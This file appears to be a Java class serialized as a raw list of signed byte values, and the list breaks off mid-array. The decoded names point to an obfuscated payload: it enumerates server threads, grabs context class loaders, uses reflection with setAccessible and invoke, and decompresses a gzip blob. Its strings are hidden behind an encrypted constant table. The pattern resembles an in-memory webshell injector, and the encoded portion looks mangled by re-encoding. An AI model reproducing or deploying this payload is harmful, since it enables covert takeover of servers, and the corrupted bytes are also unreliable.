0, 3, 0, 89, 1, 0, 8, 99, 111, 110, 116, 97, 105, 110, 115, 1, 0, 27, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 104, 97, 114, 83, 101, 113, 117, 101, 110, 99, 101, 59, 41, 90, 12, 0, 91, 0, 92, 10, 0, 1, 0, 93, 1, 0, 56, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 12, 0, 84, 0, 95, 10, 0, 27, 0, 96, 1, 0, 6, 107, 101, 121, 83, 101, 116, 1, 0, 17, 40, 41, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 101, 116, 59, 12, 0, 98, 0, 99, 10, 0, 80, 0, 100, 1, 0, 13, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 101, 116, 7, 0, 102, 11, 0, 103, 0, 56, 1, 0, 3, 103, 101, 116, 12, 0, 105, 1, 61, 10, 0, 80, 0, 106, 1, 0, 8, 103, 101, 116, 67, 108, 97, 115, 115, 1, 0, 19, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 12, 0, 108, 0, 109, 10, 0, 2, 0, 110, 1, 0, 15, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 7, 0, 112, 10, 0, 113, 0, 89, 1, 0, 3, 97, 100, 100, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 90, 12, 0, 115, 0, 116, 11, 0, 44, 0, 117, 1, 0, 9, 83, 105, 103, 110, 97, 116, 117, 114, 101, 1, 0, 38, 40, 41, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 62, 59, 1, 0, 31, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 78, 111, 83, 117, 99, 104, 77, 101, 116, 104, 111, 100, 69, 120, 99, 101, 112, 116, 105, 111, 110, 7, 0, 121, 12, 0, 30, 0, 95, 10, 0, 27, 0, 123, 1, 0, 13, 99, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 101, 97, 100, 59, 12, 0, 125, 0, 126, 10, 0, 3, 0, 127, 1, 0, 14, 103, 101, 116, 84, 104, 114, 101, 97, 100, 71, 114, 111, 117, 112, 1, 0, 25, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 101, 97, 100, 71, 114, 111, 117, 112, 59, 12, 0, -127, 0, -126, 10, 0, 3, 0, -125, 1, 0, 21, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 101, 97, 100, 71, 114, 111, 117, 112, 7, 0, -123, 1, 0, 11, 97, 99, 116, 105, 118, 101, 67, 111, 117, 110, 116, 1, 0, 3, 40, 41, 73, 12, 0, -121, 0, -120, 10, 0, -122, 0, -119, 1, 0, 9, 101, 110, 117, 109, 101, 114, 97, 116, 101, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 101, 97, 100, 59, 41, 73, 12, 0, -117, 0, -116, 10, 0, -122, 0, -115, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 111, 119, 97, 98, 108, 101, 7, 0, -113, 1, 0, 2, 91, 66, 1, 0, 17, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 1, 0, 21, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 1, 0, 21, 103, 101, 116, 67, 111, 110, 116, 101, 120, 116, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 1, 0, 25, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 59, 12, 0, -108, 0, -107, 10, 0, 3, 0, -106, 1, 0, 14, 103, 101, 116, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 12, 0, -104, 0, -107, 10, 0, 113, 0, -103, 12, 0, 30, 0, 31, 10, 0, 27, 0, -101, 1, 0, 9, 108, 111, 97, 100, 67, 108, 97, 115, 115, 1, 0, 37, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 12, 0, -99, 0, -98, 10, 0, 4, 0, -97, 1, 0, 11, 110, 101, 119, 73, 110, 115, 116, 97, 110, 99, 101, 12, 0, -95, 0, 63, 10, 0, 113, 0, -94, 12, 0, 33, 0, 31, 10, 0, 27, 0, -92, 1, 0, 24, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 74, 83, 41, 91, 66, 12, 0, 33, 0, -90, 10, 0, 27, 0, -89, 1, 0, 6, 40, 91, 66, 41, 91, 66, 12, 0, 33, 0, -87, 10, 0, 27, 0, -86, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 73, 110, 116, 101, 103, 101, 114, 7, 0, -84, 1, 0, 4, 84, 89, 80, 69, 12, 0, -82, 0, -110, 9, 0, -83, 0, -81, 1, 0, 17, 103, 101, 116, 68, 101, 99, 108, 97, 114, 101, 100, 77, 101, 116, 104, 111, 100, 1, 0, 64, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 77, 101, 116, 104, 111, 100, 59, 12, 0, -79, 0, -78, 10, 0, 113, 0, -77, 1, 0, 24, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 77, 101, 116, 104, 111, 100, 7, 0, -75, 1, 0, 13, 115, 101, 116, 65, 99, 99, 101, 115, 115, 105, 98, 108, 101, 1, 0, 4, 40, 90, 41, 86, 12, 0, -73, 0, -72, 10, 0, -74, 0, -71, 1, 0, 7, 118, 97, 108, 117, 101, 79, 102, 1, 0, 22, 40, 73, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 73, 110, 116, 101, 103, 101, 114, 59, 12, 0, -69, 0, -68, 10, 0, -83, 0, -67, 1, 0, 6, 105, 110, 118, 111, 107, 101, 1, 0, 57, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 12, 0, -65, 0, -64, 10, 0, -74, 0, -63, 1, 0, 32, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 73, 108, 108, 101, 103, 97, 108, 65, 99, 99, 101, 115, 115, 69, 120, 99, 101, 112, 116, 105, 111, 110, 7, 0, -61, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 90, 12, 0, 50, 0, -58, 10, 0, 27, 0, -57, 1, 0, 93, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 12, 0, 33, 0, -55, 10, 0, 27, 0, -54, 1, 0, 16, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 65, 114, 114, 97, 121, 115, 7, 0, -52, 1, 0, 6, 97, 115, 76, 105, 115, 116, 1, 0, 37, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 59, 12, 0, -50, 0, -49, 10, 0, -51, 0, -48, 1, 0, 25, 40, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 59, 41, 86, 12, 0, 35, 0, -46, 10, 0, 82, 0, -45, 10, 0, 82, 0, 117, 1, 0, 7, 116, 111, 65, 114, 114, 97, 121, 1, 0, 21, 40, 41, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 12, 0, -42, 0, -41, 10, 0, 82, 0, -40, 1, 0, 20, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 41, 86, 12, 0, 33, 0, -38, 10, 0, 27, 0, -37, 1, 0, 75, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 115, 105, 122, 101, 12, 0, -33, 0, -120, 10, 0, 82, 0, -32, 1, 0, 21, 40, 73, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 12, 0, 105, 0, -30, 10, 0, 82, 0, -29, 1, 0, 7, 102, 111, 114, 78, 97, 109, 101, 12, 0, -27, 0, -98, 10, 0, 113, 0, -26, 1, 0, 9, 103, 101, 116, 77, 101, 116, 104, 111, 100, 12, 0, -24, 0, -78, 10, 0, 113, 0, -23, 1, 0, 29, 106, 97, 118, 97, 47, 105, 111, 47, 66, 121, 116, 101, 65, 114, 114, 97, 121, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 7, 0, -21, 1, 0, 28, 106, 97, 118, 97, 47, 105, 111, 47, 66, 121, 116, 101, 65, 114, 114, 97, 121, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 7, 0, -19, 1, 0, 29, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 122, 105, 112, 47, 71, 90, 73, 80, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 7, 0, -17, 10, 0, -20, 0, 48, 1, 0, 5, 40, 91, 66, 41, 86, 12, 0, 35, 0, -14, 10, 0, -18, 0, -13, 1, 0, 24, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 41, 86, 12, 0, 35, 0, -11, 10, 0, -16, 0, -10, 1, 0, 4, 114, 101, 97, 100, 1, 0, 5, 40, 91, 66, 41, 73, 12, 0, -8, 0, -7, 10, 0, -16, 0, -6, 1, 0, 5, 119, 114, 105, 116, 101, 1, 0, 7, 40, 91, 66, 73, 73, 41, 86, 12, 0, -4, 0, -3, 10, 0, -20, 0, -2, 1, 0, 11, 116, 111, 66, 121, 116, 101, 65, 114, 114, 97, 121, 1, 0, 4, 40, 41, 91, 66, 12, 1, 0, 1, 1, 10, 0, -20, 1, 2, 1, 0, 63, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 70, 105, 101, 108, 100, 59, 12, 0, 33, 1, 4, 10, 0, 27, 1, 5, 1, 0, 23, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 70, 105, 101, 108, 100, 7, 1, 7, 10, 1, 8, 0, -71, 10, 1, 8, 0, 106, 1, 0, 30, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 78, 111, 83, 117, 99, 104, 70, 105, 101, 108, 100, 69, 120, 99, 101, 112, 116, 105, 111, 110, 7, 1, 11, 1, 0, 16, 103, 101, 116, 68, 101, 99, 108, 97, 114, 101, 100, 70, 105, 101, 108, 100, 1, 0, 45, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 70, 105, 101, 108, 100, 59, 12, 1, 13, 1, 14, 10, 0, 113, 1, 15, 1, 0, 13, 103, 101, 116, 83, 117, 112, 101, 114, 99, 108, 97, 115, 115, 12, 1, 17, 0, 109, 10, 0, 113, 1, 18, 10, 1, 12, 0, 37, 1, 0, 27, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 77, 101, 116, 104, 111, 100, 59, 7, 1, 21, 1, 0, 18, 103, 101, 116, 68, 101, 99, 108, 97, 114, 101, 100, 77, 101, 116, 104, 111, 100, 115, 1, 0, 29, 40, 41, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 77, 101, 116, 104, 111, 100, 59, 12, 1, 23, 1, 24, 10, 0, 113, 1, 25, 10, 0, -74, 0, 89, 1, 0, 6, 101, 113, 117, 97, 108, 115, 12, 1, 28, 0, 116, 10, 0, 1, 1, 29, 1, 0, 17, 103, 101, 116, 80, 97, 114, 97, 109, 101, 116, 101, 114, 84, 121, 112, 101, 115, 1, 0, 20, 40, 41, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 12, 1, 31, 1, 32, 10, 0, -74, 1, 33, 10, 0, 122, 0, 37, 1, 0, 26, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 69, 120, 99, 101, 112, 116, 105, 111, 110, 7, 1, 36, 1, 0, 10, 103, 101, 116, 77, 101, 115, 115, 97, 103, 101, 12, 1, 38, 0, 31, 10, 0, -60, 1, 39, 10, 1, 37, 0, 37, 1, 0, 20, 106, 97, 118, 97, 47, 105, 111, 47, 83, 116, 114, 105, 110, 103, 87, 114, 105, 116, 101, 114, 7, 1, 42, 10, 1, 43, 0, 48, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 87, 114, 105, 116, 101, 114, 7, 1, 45, 1, 0, 19, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 87, 114, 105, 116, 101, 114, 59, 41, 86, 12, 0, 35, 1, 47, 10, 1, 46, 1, 48, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 24, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 87, 114, 105, 116, 101, 114, 59, 41, 86, 12, 1, 50, 1, 51, 10, 0, -112, 1, 52, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 12, 1, 54, 0, 31, 10, 1, 43, 1, 55, 12, 0, 33, 0, -34, 9, 0, 27, 1, 57, 1, 0, 8, 60, 99, 108, 105, 110, 105, 116, 62, 10, 0, 27, 0, 48, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 1, 0, 1, 90, 5, 0, 0, 50, 111, 58, 49, 27, -91, 5, 0, 0, 75, 18, -109, -12, -7, 106, 5, 0, 0, 34, 41, 25, 24, -119, 95, 5, 0, 0, 23, -30, 103, -109, 68, 24, 5, 0, 0, 23, -55, -99, 31, -25, -59, 5, 0, 0, 11, 61, 44, 30, 51, 117, 5, 0, 0, 56, 91, 93, -113, 110, 44, 5, 0, 0, 127, -17, 119, 113, -81, -107, 5, 0, 0, 81, -117, -114, -46, -81, -20, 5, 0, 0, 64, 1, -29, -45, -25, -104, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 1, 101, 12, 0, 50, 1, 83, 9, 0, 27, 1, 85, 12, 1, 88, 0, 31, 1, 0, 6, 105, 110, 116, 101, 114, 110, 10, 0, 1, 1, 87, 12, 1, 91, 1, 92, 1, 0, 11, 116, 111, 67, 104, 97, 114, 65, 114, 114, 97, 121, 1, 0, 4, 40, 41, 91, 67, 10, 0, 1, 1, 90, 12, 0, 35, 1, 95, 1, 0, 5, 40, 91, 67, 41, 86, 10, 0, 1, 1, 94, 12, 1, 84, 1, 83, 9, 0, 27, 1, 97, 1, 0, 23, 40, 73, 73, 73, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 12, 0, 33, 1, 99, 10, 0, 27, 1, 100, 1, 69, -38, -61, -75, 40, 8, -62, -74, -62, -102, -62, -103, -62, -75, 41, -62, -123, -61, -88, 16, 10, 101, 111, 122, -62, -97, -61, -89, -61, -65, -62, -68, 80, -61, -65, 29, 28, 5, 71, 118, -62, -113, 126, 72, -62, -99, -61, -84, -61, -76, -62, -111, 10, 44, 116, -61, -81, -62, -69, -61, -83, -61, -106, -62, -124, 93, -61, -97, 120, -62, -65, -61, -70, -62, -90, 36, 66, -61, -75, -62, -78, 28, -62, -72, -61, -94, -61, -127, 59, -62, -120, -61, -98, 67, 62, 47, -61, -117, 113, 103, 27, -62, -122, 86, -61, -128, 107, 33, -61, -86, 107, -62, -114, 41, 36, 116, -61, -65, 24, -62, -114, -61, -71, 6, -61, -106, 60, 120, -61, -114, 94, -62, -98, 10, 24, 99, -61, -107, 14, 31, -61, -114, 5, 64, -62, -126, -62, -69, 6, -61, -91, 115, 29, -62, -85, -61, -128, 42, -30, -75, -116, 71, 25, -61, -77, 55, 24, 103, 107, 54, -62, -128, -61, -121, -61, -105, -61, -86, 28, 65, -62, -118, 72, 10, 116, -61, -120, 107, 94, -61, -97, 34, 57, -62, -98, -62, -128, -61, -87, -62, -73, -61, -127, 20, 92, 7, -61, -125, -61, -105, -61, -99, -62, -87, 53, 30, -61, -70, 29, -61, -66, -62, -88, -62, -83, -61, -76, -62, -78, -62, -91, 36, 88, -61, -102, -62, -89, 16, -62, -86, 60, 102, 75, 41, 28, -62, -105, -62, -98, 41, -62, -111, -62, -118, 30, -62, -115, -62, -120, -62, -111, -61, -78, -61, -91, -62, -110, -61, -114, 52, -62, -72, -61, -102, 34, 27, -61, -90, -61, -124, -61, -76, -61, -91, -61, -88, 109, 25, -62, -99, 95, -61, -106, 32, -61, -124, -61, -103, -61, -69, -62, -108, 7, -62, -77, 23, 109, 62, -62, -78, 106, -62, -79, 76, -61, -119, -62, -128, -62, -85, 126, -62, -65, 114, -61, -89, 108, -61, -127, 76, 36, -61, -117, 33, 44, 6, -61, -79, -62, -71, -61, -80, -62, -108, -61, -118, -62, -91, -61, -116, -62, -115, 14, 18, -62, -90, 19, -61, -104, -62, -111, -62, -110, 68, 13, 38, -61, -99, 87, -62, -68, 119, 53, 104, 98, -62, -92, -61, -121, 10, 37, 83, -61, -69, 126, 91, -62, -111, -62, -98, -61, -86, 11, 97, -61, -117, 8, 110, -62, -105, 19, -61, -110, -62, -101, 66, -61, -111, -61, -106, -62, -126, -62, -115, -61, -123, -61, -86, -61, -91, -62, -126, -61, -91, 29, -61, -87, -62, -108, 2, 46, -62, -117, -61, -125, -61, -90, -61, -76, 34, 78, -62, -69, -62, -71, 32, 98, 72, 114, -62, -65, -62, -67, 95, 35, 4, 104, 91, -62, -123, -62, -66, 8, -61, -78, -61, -94, -62, -113, -61, -92, -62, -80, 41, -62, -107, 38, -61, -117, -62, -102, -61, -99, -62, -65, -61, -98, 40, -62, -122, -61, -94, -61, -67, -61, -87, -62, -116, -62, -65, -62, -100, -61, -120, 77, 34, -61, -120, -62, -110, -61, -90, -62, -91, -62, -127, 8, 17, 80, 118, 99, 126, -61, -90, 58, -61, -106, -61, -128, 18, 6, 24, -61, -121, 70, 14, -62, -78, 19, -61, -90, -62, -65, -61, -77, -62, -107, -62, -91, -61, -111, 102, 107, -61, -98, -61, -97, 80, -62, -73, -62, -68, -62, -81, -61, -113, 36, 104, 117, -61, -86, 21, 48, -61, -103, -61, -107, 86, -61, -102, 70, 5, 72, 81, 125, -62, -65, -61, -107, -61, -68, -62, -97, -62, -68, 117, 1, 57, -61, -102, 26, 61, -62, -65, 5, 51, -62, -110, 17, 43, -62, -72, 34, 111, 94, 79, 111, 35, -61, -123, 59, -61, -75, 52, -61, -124, 69, -62, -95, -62, -126, -61, -106, 23, -61, -122, -61, -88, -62, -105, 12, 119, 37, 70, 13, -64, -128, -61, -110, -61, -121, 72, 44, 71, 53, -61, -88, 104, -61, -106, 115, -61, -89, 85, 44, 16, 87, 106, 64, 74, 58, 54, 85, 10, -62, -82, -62, -85, 20, -62, -110, -61, -126, 2, 33, 3, 64, -61, -68, -61, -121, 95, -61, -65, -61, -109, 27, 62, -62, -76, 32, 40, -62, -100, 102, 66, 51, -61, -99, 40, 56, 17, 17, -61, -72, -61, -79, 85, -62, -83, 121, 63, -62, -112, 113, 127, 125, -61, -110, 62, -62, -99, 33, -61, -104, 71, 38, -61, -127, -61, -100, 64, 57, -61, -85, -61, -81, -61, -123, -61, -128, -62, -66, 78, 27, 24, -62, -124, 24, -61, -98, -61, -66, 1, 119, -61, -88, -62, -77, 50, -62, -103, -62, -71, -61, -107, 59, 71, -62, -103, 120, 54, -61, -81, -62, -109, 17, 58, -61, -65, 78, -62, -90, 112, 2, 46, 85, 9, -61, -88, 20, -62, -96, -61, -113, 122, -62, -114, -61, -66, -61, -114, -61, -122, -61, -109, 98, 70, -62, -95, 39, -61, -92, -61, -112, -61, -91, -62, -121, 110, -61, -109, -62, -98, -61, -88, -61, -72, -61, -104, -61, -107, 87, -61, -114, -62, -116, -62, -117, 111, -62, -91, -62, -82, -62, -111, -61, -80, 41, 27, -61, -123, 49, -61, -74, 113, 11, 29, -62, -73, -62, -125, 93, -62, -112, 61, -61, -116, -61, -119, 70, -62, -95, 71, -61, -105, 124, 87, 39, -62, -81, 11, -62, -115, -61, -88, -61, -67, -61, -105, 56, 101, -62, -75, 39, 42, 16, 67, -61, -99, 126, 10, 75, -62, -105, -62, -66, -61, -91, -62, -78, -62, -109, 19, 39, -61, -113, -61, -73, -61, -109, 46, 91, -62, -79, -62, -110, 97, 127, -62, -124, 16, -62, -74, 57, -61, -71, 26, 65, -61, -122, 111, 3, 35, 46, -62, -105, 1, 32, 37, -61, -79, 69, 35, -61, -65, 33, -62, -66, -61, -99, 47, 103, -61, -122, 51, -61, -119, -62, -114, -61, -83, -62, -127, 3, 127, -62, -112, 79, -62, -79, 99, -61, -102, -62, -109, 87, 108, 50, 94, -62, -105, 36, 13, 74, 1, 35, -62, -92, -62, -77, 33, 107, -61, -116, 63, 78, -62, -108, -61, -99, -62, -81, -62, -96, -61, -116, -61, -71, 84, 29, -61, -110, 91, -62, -93, 35, -62, -90, 120, -61, -127, -61, -124, 109, 11, -62, -110, 112, -62, -97, 70, 42, 66, -62, -66, -61, -72, 73, -62, -71, 120, -61, -90, 127, -61, -97, 37, 7, 38, -62, -119, 28, 23, 63, 50, 15, -62, -112, 12, -62, -101, 9, -62, -104, 21, -62, -104, 46, -62, -96, -61, -83, -61, -77, -62, -91, -62, -77, 110, -62, -88, -62, -70, -61, -74, 6, 28, 85, -61, -82, 9, -61, -69, -62, -114, -62, -127, 106, -62, -117, 116, -62, -84, -62, -87, 20, -61, -97, -62, -91, -61, -66, 58, 27, -62, -109, -61, -95, -61, -119, 108, -61, -100, 65, -61, -111, 80, -62, -65, -62, -83, 74, 16, 32, -62, -84, 58, 10, 91, 52, -61, -115, 7, -61, -67, 90, 58, 20, -62, -72, -62, -108, -61, -71, -61, -89, 114, 44, -61, -89, 95, -61, -100, 60, 60, 38, -62, -82, -61, -93, 114, 38, -62, -103, -62, -72, -62, -68, 66, -61, -120, -62, -66, -61, -123, 29, 113, -62, -105, -61, -78, 46, -62, -89, 12, 83, -61, -119, 56, -61, -83, -62, -123, 113, -62, -107, -61, -93, -62, -112, -61, -87, 4, 28, 83, -61, -115, 54, -61, -93, -62, -90, -61, -70, -62, -119, 85, 64, 93, -62, -114, -62, -101, 119, 35, -62, -104, 60, 52, 68, 117, 103, -61, -69, 37, 34, -61, -113, 61, 21, -62, -91, 116, 67, 23, -61, -72, 34, 99, -62, -84, 31, 99, -61, -82, -62, -99, -61, -94, -62, -119, -62, -96, -61, -80, -62, -112, 14, 73, 84, -62, -103, -62, -94, 16, 5, 45, 35, -61, -83, -62, -127, 94, -61, -107, -62, -109, 123, -62, -94, -61, -117, -61, -102, -61, -104, -62, -107, -61, -85, 18, 97, 77, -62, -127, 99, 45, -61, -106, 58, -61, -71, 107, -62, -123, -62, -102, -61, -72, 121, -61, -82, -62, -85, -62, -122, 83, -62, -81, 67, 118, -62, -120, -61, -128, 71, -62, -73, 61, -61, -65, 126, -62, -67, -62, -93, -62, -74, -62, -71, -61, -109, 53, -61, -76, -61, -106, -61, -106, -61, -85, -62, -75, -62, -98, 57, 111, 112, 55, 104, -61, -89, 75, -61, -125, -61, -65, 27, 30, -61, -93, 59, 110, 7, 62, 89, -61, -96, 30, 67, 16, -62, -125, -62, -96, 59, 41, 67, 100, -61, -101, 12, -62, -83, 69, 10, -61, -114, -61, -94, 127, 18, 18, 58, 56, -62, -115, 45, -61, -73, 77, 18, -61, -106, 83, -61, -127, 43, -62, -101, -62, -127, 36, 51, 99, 73, 42, 39, -61, -91, 115, 40, -61, -68, -61, -124, 46, -62, -85, -61, -126, -62, -113, 37, -62, -93, -62, -74, -61, -106, -62, -109, 13, -61, -90, -61, -100, -61, -76, -61, -86, -62, -80, 72, 101, -61, -124, -61, -85, 48, -61, -110, -62, -117, 65, -61, -121, 63, 11, -61, -81, 51, -62, -67, 42, 12, -61, -80, -61, -86, -61, -107, 52, -61, -93, -61, -87, 4, -61, -118, 8, 59, -61, -85, 116, 33, -62, -75, 1, -62, -124, 69, -61, -68, -62, -116, -61, -114, -62, -94, 39, -62, -80, -62, -101, 121, 44, 120, -61, -109, -61, -122, 100, 70, -62, -79, -62, -100, -62, -78, -61, -109, 24, -61, -72, 30, 94, -62, -109, 60, -61, -86, 47, 110, -61, -77, 34, 95, 22, -62, -108, 10, -62, -102, 19, 3, 74, 23, -62, -126, 14, -61, -121, -62, -128, 109, 109, -62, -74, -61, -110, -61, -82, 53, 52, 40, -62, -108, -62, -71, -61, -100, 63, -61, -127, -64, -128, -61, -112, 24, -62, -86, 33, -62, -120, -61, -72, -62, -79, 122, -62, -107, -62, -65, 126, -62, -90, -62, -83, 4, 76, -61, -87, 112, 82, 78, -61, -77, 12, 1, 54, -62, -96, 19, -62, -67, 30, -62, -68, 56, -61, -70, -61, -100, 24, 118, 9, -61, -70, 29, 91, 71, -61, -112, 50, -62, -117, 12, 86, 90, 79, 84, -61, -85, 66, -61, -113, -61, -114, 23, -62, -101, -62, -118, 6, -61, -69, -61, -121, -62, -93, 50, 19, 83, 14, 7, 33, -61, -98, 20, -61, -101, -62, -67, 85, 19, -61, -117, -61, -89, 2, -62, -96, -61, -80, -61, -65, -62, -95, -61, -81, -62, -88, -61, -101, -61, -106, 95, 28, 84, 85, -62, -118, 40, 90, 118, 37, 48, -61, -68, 2, -62, -118, -62, -126, -61, -86, 39, 17, -62, -94, -62, -120, 94, 24, 85, -62, -93, -62, -82, 114, 5, -61, -100, 14, -62, -92, 1, -61, -128, -62, -91, -62, -122, -61, -66, 127, -62, -119, -62, -120, 44, 78, 96, 20, 84, 56, -62, -125, -61, -69, -61, -84, -61, -75, -62, -108, -62, -117, -61, -109, -61, -84, -61, -120, 11, -61, -86, -61, -105, 56, 104, -61, -120, -62, -77, 86, 54, -61, -86, -62, -101, -62, -81, -61, -84, 45, 61, -62, -93, 2, 21, -61, -73, 103, 31, 97, 18, -62, -122, -62, -97, -61, -70, 69, 82, -62, -83, 111, 11, 105, 6, -61, -97, -61, -106, -62, -94, -61, -106, 29, -61, -67, 41, 17, -62, -80, -62, 